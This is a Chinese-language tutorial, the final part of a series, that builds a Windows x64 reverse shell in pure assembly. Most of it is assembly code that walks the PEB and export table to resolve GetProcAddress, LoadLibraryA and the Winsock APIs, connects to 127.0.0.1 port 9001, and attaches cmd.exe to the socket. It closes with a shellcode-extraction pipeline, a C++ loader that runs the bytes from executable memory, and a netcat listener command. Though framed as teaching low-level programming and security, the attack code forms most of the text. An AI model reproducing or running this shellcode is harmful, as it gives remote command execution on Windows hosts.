今天,我们将专注于使用纯x64汇编编写一个功能完整的反向Shell。这不仅是本系列教程的最终篇,更是一个综合性实战案例,旨在检验你对汇编语言和Windows API调用的掌握程度。
一个完整的反向Shell需要调用多个网络与进程API,并深刻理解x64汇编的调用约定与数据结构。虽然代码较长,但我们已将其拆解为清晰的步骤,方便你逐步跟进。
PE结构遍历与GetProcAddress查找
我们首先需要从内存中找到关键的API函数地址。这个过程基于对PE(可移植可执行)文件结构的解析,是许多网络安全与底层工具的基础。
BITS 64
SECTION .text
global main
main:
sub rsp, 0x28
and rsp, 0xFFFFFFFFFFFFFFF0
xor rcx, rcx
mov rax, [gs:rcx + 0x60]
mov rax, [rax + 0x18]
mov rsi,[rax+0x10]
mov rsi, [rsi]
mov rsi,[rsi]
mov rbx, [rsi+0x30]
mov r8, rbx
mov ebx, [rbx+0x3C]
add rbx, r8
xor rcx, rcx
add cx, 0x88ff
shr rcx, 0x8
mov edx, [rbx+rcx]
add rdx, r8
mov r10d, [rdx+0x14]
xor r11, r11
mov r11d, [rdx+0x20]
add r11, r8
mov rcx, r10
mov rax, 0x9090737365726464
shl rax, 0x10
shr rax, 0x10
push rax
mov rax, 0x41636F7250746547
push rax
mov rax, rsp
这段代码的目的是遍历kernel32.dll的导出表,以查找GetProcAddress函数的地址。我们通过将字符串GetProcAddress分两部分压栈,来避免Shellcode中出现空字节。
导出表遍历与函数名匹配
接下来,我们进入循环,在导出表的函数名列表中精确匹配目标字符串。
findfunction:
jecxz FunctionNameNotFound
xor ebx,ebx
mov ebx, [r11+rcx*4]
add rbx, r8
dec rcx
mov r9, qword [rax]
cmp [rbx], r9
jnz findfunction
mov r9d, dword [rax + 8]
cmp [rbx + 8], r9d
jz FunctionNameFound
jnz findfunction
FunctionNameNotFound:
int3
FunctionNameFound:
push rcx
pop r15
inc r15
xor r11, r11
mov r11d, [rdx+0x1c]
add r11, r8
mov eax, [r11+r15*4]
add rax, r8
push rax
我们通过比较字符串GetProcA(8字节)和ddre(4字节)来定位GetProcAddress。这种方法高效且能避免空字节,但需注意对某些具有A/W版本后缀的API可能不通用。
动态获取核心API地址
获取到GetProcAddress后,我们便可以利用它来加载其他必需的库和函数。
-
获取LoadLibraryA地址:用于动态加载DLL。
pop r15
mov r12, r15
mov rdi, r8
mov rcx, r8
mov rax, 0x41797261
push rax
mov rax, 0x7262694C64616F4C
push rax
mov rdx, rsp
sub rsp, 0x30
call r15
add rsp, 0x30
mov r15, rax
-
获取ExitProcess地址:用于程序退出。
-
获取CreateProcessA地址:用于创建新进程(即我们的Shell)。
-
加载Ws2_32.dll并获取网络API:包括WSAStartup、WSASocketA和WSAConnect。这些是建立TCP/IP网络连接的核心。
这部分代码遵循相同的模式:准备API名称字符串,调用GetProcAddress或LoadLibraryA,并将返回的函数地址存入特定寄存器备用。
初始化Winsock并创建套接字
所有API地址就绪后,我们开始进行网络操作。
; Call WSAStartup
xor rcx, rcx
mov cx, 0x198
sub rsp, rcx
lea rdx, [rsp]
mov cx, 0x202
sub rsp, 0x28
call r15
add rsp, 0x30
WSAStartup初始化Winsock库,这是所有Windows套接字编程的前提。
; Create a socket
xor rcx, rcx
mov cl, 2
xor rdx, rdx
mov dl, 1
xor r8, r8
mov r8b, 6
xor r9, r9
mov [rsp+0x20], r9
mov [rsp+0x28], r9
call rsi
mov r12, rax
add rsp, 0x30
WSASocketA创建了一个流式TCP套接字。这里需要注意x64调用约定:前4个参数通过寄存器RCX、RDX、R8、R9传递,第5、6个参数则需通过栈传递([rsp+0x20]和[rsp+0x28])。
建立反向连接与创建Shell进程
这是Shellcode最关键的两步:连接到控制端,并启动一个命令进程将其输入输出重定向到该网络连接。
; Initiate Socket Connection
mov r13, rax
mov rcx, r13
xor rax,rax
inc rax
inc rax
mov [rsp], rax
mov ax, 0x2923
mov [rsp+2], ax
mov rax, 0xFFFFFFFFFEFFFF80
not rax
mov [rsp+4], rax
lea rdx,[rsp]
mov r8b, 0x16
xor r9,r9
push r9
push r9
push r9
add rsp, 8
sub rsp, 0x60
sub rsp, 0x60
call rdi
WSAConnect使用之前创建的套接字连接到攻击者指定的IP(示例为127.0.0.1)和端口(9001)。IP地址经过NOT编码以避免Shellcode中出现空字节。
;prepare for CreateProcessA
... (准备STARTUPINFOA结构,将标准输入、输出、错误句柄均设置为我们的套接字) ...
; Call CreateProcessA
... (设置CreateProcessA所有参数) ...
call r14
; Clean exit
xor rcx, rcx
call rbx
最后,我们调用CreateProcessA启动cmd.exe,并通过STARTUPINFOA结构将其标准输入、输出和错误流全部重定向到已连接的套接字。这样,一个反向Shell便成功建立。最后调用ExitProcess确保宿主进程干净退出。
编译与测试
使用NASM汇编器编译代码并提取Shellcode字节:
nasm -fwin64 reverse_shell.asm
objdump -D reverse_shell.obj | grep "^ " | cut -f2 | xargs echo -n | sed 's/ /\\x/g'
将提取出的字节数组嵌入以下C++加载器中执行测试:
#include <windows.h>
int main() {
unsigned char shellcode[] = "\x48\x83\xec\x28..."; // 你的Shellcode字节
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, shellcode, sizeof(shellcode));
auto func = reinterpret_cast<void(*)()>(exec_mem);
func();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
在运行上述程序前,请确保在目标IP的9001端口启动了监听器(例如:nc -lvnp 9001)。
本教程通过这个完整的反向Shell案例,串联了x64汇编编程、PE结构解析、动态API调用、Winsock网络编程及进程创建等多个核心知识点。希望这个实战练习能帮助你深化对Windows平台底层编程与网络安全技术的理解。